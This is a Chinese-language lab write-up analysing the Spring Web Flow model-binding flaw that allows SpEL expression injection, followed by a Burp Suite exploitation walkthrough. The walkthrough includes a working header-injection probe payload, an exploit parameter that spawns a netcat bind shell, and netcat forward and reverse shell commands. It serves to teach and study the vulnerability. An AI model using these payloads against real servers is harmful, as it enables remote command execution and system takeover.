Spring Web Flow

Spring 的一个子项目,其最主要的目的是解决跨越多个请求的、用户与伺服器之间的、有状态交互问题。

漏洞介绍

SpringWebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞,这个漏洞利用除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。

触发漏洞前提条件:

测试时需要注意修改

org.springframework.webflow.samples.booking.config.WebFlowConfig.mvcViewFactoryCreator()

方法中的改成 factoryCreator.setUseSpringBeanBinding(false); 因为这个工程修改了useSpringBeanBinding的默认值。

漏洞危害

成功攻击后攻击者远程命令执行,危害伺服器安全,敏感信息泄露等。

本篇文章首先分析其代码,然后进行漏洞验证

实验内容

步骤1:分析代码

SpringWebFlow的执行顺序和流程,flowcontroller决定将请求交给哪个handler去执行具体的流程,这里我们需要知道当用户请求有视图状态处理时,会决定当前事件下一个执行的流程,同时对于配置文件中我们配置的view-state元素,如果我们指定了数据的model,那么它会自动进行数据绑定,xml结构如下:

view-state节点中数据绑定上,我们继续跟踪addEmptyValueMapping方法的调用过程,这里通过eclipse我们可以发现bind方法间接的调用了addEmptyValueMapping函数,

addEmptyValueMapping函数存在表达式执行的点,我们现在来详细看下这个addEmptyValueMapping函数,如下图:

控制了field参数才能触发漏洞,找到有没有点我们可以控制从而控制field参数来进行任意代码执行,这里明确目标后,我们回过头来看addDefaultMappingsaddModelBindings这两个函数,既然这两个函数都调用了存在缺陷的函数,那么我们看看这两个函数的区别是什么,而且那个函数能控制field参数,两个函数的区别如下:

addModelBindings函数中for (Binding binding : binderConfiguration.getBindings()) 存在这样一个循环,而且就是这个循环的控制决定了field参数的值,经过进一步分析,这里控制field的参数的决定性因素就是binderConfiguration这个变数所控制的值,这里经过源码的跟踪我们可以发现,binderConfiguration函数的值就是webflow-*.xmlview-statebinder节点的配置,所以这个函数的值来源于配置文件,所以这个函数我们无法控制,从而无法触发漏洞,所以我们重点来看看addDefaultMappings这个函数,我们发现addDefaultMappings中我们可以控制field参数,所以我们重点来看看如何去触发这个函数。

现在我们基本上可以确定了addDefaultMappings函数是我们触发漏洞的关键点,那么如上图所示,bing函数中调用了这两个函数,那么我们可以看出只有当binderConfiguration为空的时候才能触发我们的漏洞,那么我们刚才也说了binderConfiguration这个值是由配置文件中是否有binder节点来控制的(这里需要注意的是程序执行到bind方法的前置条件是view-state节点中是否配置了model属性,即绑定的javabean对象是什么),而且addDefaultMappings函数中parameterNames参数就是我们从表单中传递的值,所以到这里漏洞的触发流程和触发条件基本上清楚了,触发条件如下:

webflow配置文件中view-state节点中指定了model属性,并且没有指定绑定的参数,即view-state中没有配置binder节点

而且MvcViewFactoryCreator类中`useSpringBeanBinding默认值(false)未修改

这里为什么一定要useSpringBeanBinding的值为false,我们来看一下addEmptyValueMapping函数,这里的expressionParser变数的声明类是ExpressionParser介面,那么决定最后 expressionParser.parseExpression(field, parserContext)这个函数来执行任意表达式是这个变数的赋值,那么在spring webflow中这个expressionParser的默认值就是WebFlowELExpressionParser的实例,这个类表达式默认的解析是有spel来执行的,具体可以去跟踪函数,那么

org.springframework.webflow.mvc.builder.MvcViewFactoryCreator.createViewFactory(Expression, ExpressionParser, ConversionService, BinderConfiguration, Validator, ValidationHintResolver)

这个类如下图:

useSpringBeanBinding这个属性为false那么就使用默认的解析类,如果这个值为true就由BeanWrapperExpressionParser这个类来解析,这个类的parseExpression函数

allowDelimitedEvalExpressions函数,这个默认值是false,所以这里是执行不了表达式的。满足 useSpringBeanBinding这个默认值不被改变。构造的恶意参数名称必须以_开头,因为addDefaultMappings函数中的fieldMarkerPrefix变数。

步骤2:漏洞验证

访问地址,登陆后订酒店:用系统已经创建好的用户名密码登陆

登陆后点击,如图:

任意选择一个,点击book hote继续

填入信用卡、姓名等信息。

这时,开启浏览器代理,打开BurpSuite,进行抓包,当点击confirm时,Burp就会抓到对应的数据包。

截取到的数据包如下:

接下来添加Payload:

&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty

将Payload写入最后一项即可。

先发送到重放攻击插件Repeater

可以看到,response header 中出现 vulnerable 头,说明存在漏洞。

步骤3:漏洞利用

接下来载入EXP,如下:

&_(new+java.lang.ProcessBuilder("/bin/bash","-c","nc -lp 333 -c bash")).start()=iswin

利用方法和步骤2几乎无差异,因此这里不再赘述。这里已经抓到了http包,添加EXP,点击Go。

接下来要使用NC工具连接对应的埠,获取从目标机器返回的shell,现在先介绍下nc的用法

远控正向:

nc -lp 333 -c bash nc IP port远控反向: nc -lp 333 nc IP 333 -c bash //windows下改为cmd即可

载入完EXP这时,目标机器的333埠已经打开,使用NC监听埠,使用命令:

nc -nv 172.16.12.2 333 //监听目标333埠

如图可以执行命令,已经获取到了目标系统的root许可权。

推荐阅读:

相关文章